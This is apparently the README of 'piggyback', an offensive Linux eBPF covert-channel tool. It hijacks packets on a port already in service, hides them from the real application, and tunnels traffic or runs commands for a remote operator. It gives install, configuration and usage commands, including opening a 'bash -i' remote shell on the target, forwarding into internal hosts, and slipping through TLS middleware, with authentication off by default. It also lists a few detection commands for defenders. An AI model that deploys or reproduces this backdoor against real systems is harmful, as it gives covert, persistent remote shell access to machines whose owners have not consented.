# piggyback Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, forwards or executes per the client's instruction. Normal traffic is unaffected. Zero changes to existing services. ``` Mode 1 — Plain TCP Client Server (:80) │── TCP packet ────────────→ TC eBPF ingress │ [MAGIC][header] magic match? │ YES → TC_ACT_STOLEN → daemon │ NO → TC_ACT_OK → app (nginx etc.) Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL) Client Middleware (:443) Server (:80) │── valid TLS ──→ │ │ │ [MAGIC] │── [MAGIC][header] ─────→ TC eBPF ingress │ inside │ (inner bytes fwd) → same as Mode 1 ``` Mode 2 is identical server-side. Client sends a real TLS handshake toward middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works. Middleware decrypts and forwards inner bytes to the plain TCP backend. --- ## Requirements - Linux 5.8+ (ring buffer + sk_lookup) - Root / `CAP_NET_ADMIN` + `CAP_BPF` - `libbpf`, `clang`, `llvm`, `bpftool`, `libsodium`, `libssl` ```bash # Fedora sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel # Debian/Ubuntu sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev ``` --- ## Configuration Only two files need editing before compiling. Port must match in both. ### `piggyback.bpf.c` ```c #define LISTEN_PORT 80 // port to intercept #define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // keep in sync with pb-client.c ``` ### `piggyback.c` ```c #define IFACE "" // "" = auto-detect default-route interface #define LISTEN_PORT 80 // must match piggyback.bpf.c #define AUTH_ENABLED 0 // 1 = require Ed25519 signature #define TRUSTED_PUBKEY { 0xAB, ... } // 32-byte pubkey from `make keygen` ``` Forward target, action, and target port are **not configured in the daemon** — they come from the client packet. The daemon has no idea where to forward until a client tells it. --- ## Build ```bash make ``` ### Generate Ed25519 keypair (for authenticated mode) ```bash make keygen # Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c # Saves engagement.key → pass to pb-client with --key (never copy to target) ``` --- ## Usage ### Server (target machine) ```bash sudo ./piggyback ``` ### Client (operator machine) ```bash # Mode 1 — plain TCP, no auth, forward to sshd ./pb-client 1.2.3.4 80 2222 # Mode 2 — through TLS middleware (SNI must match middleware routing) ./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com # With auth — forward to custom target ./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389 # Shell execution ./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i' # Then connect ssh -p 2222 user@localhost ``` Full client options: ``` ./pb-client [options] --mode tcp|tls connection mode (default: tcp) --sni SNI for TLS — must match middleware virtual host config --key Ed25519 private key PEM (enables auth) --action forward|shell (default: forward) --target forward target on server side (default: 127.0.0.1:22) --cmd shell command for --action shell (default: bash) -v verbose ``` --- ## Auth flow (AUTH_ENABLED=1) 1. `make keygen` — generate Ed25519 keypair 2. Set `TRUSTED_PUBKEY` + `AUTH_ENABLED=1` in `piggyback.c`, recompile daemon 3. Pass `--key engagement.key` to `pb-client` (key stays on operator machine) 4. Client sends: `MAGIC` (6) + 80-byte signed header 5. Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring 6. On pass: executes action from header 7. On fail: connection dropped silently Signed header format (80 bytes after MAGIC): ``` [0..7] unix timestamp, big-endian uint64 [8] action (0x01=forward, 0x02=shell) [9..12] target IPv4 [13..14] target port big-endian [15] reserved [16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes) ``` Without `--key`: header still sent but timestamp=0 and sig=zeros. Daemon in no-auth mode reads action+target and skips signature verification. --- ## Detection (Blue Team) ```bash tc filter show dev eth0 ingress # TC eBPF filters bpftool prog list # all loaded eBPF programs bpftool map list # eBPF maps (conn_state, pending, daemon_sock) ``` Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs on internet-facing interfaces. --- ## Known Limitations - **ACTION_FORWARD target is IPv4 only** — header has 4 bytes for target IP - **Replay ring is size-bounded** — 256 entries, evicted by overwrite not expiry - **sk_lookup may fail on some kernels** — daemon logs a warning and falls back (works everywhere except strict NAT scenarios)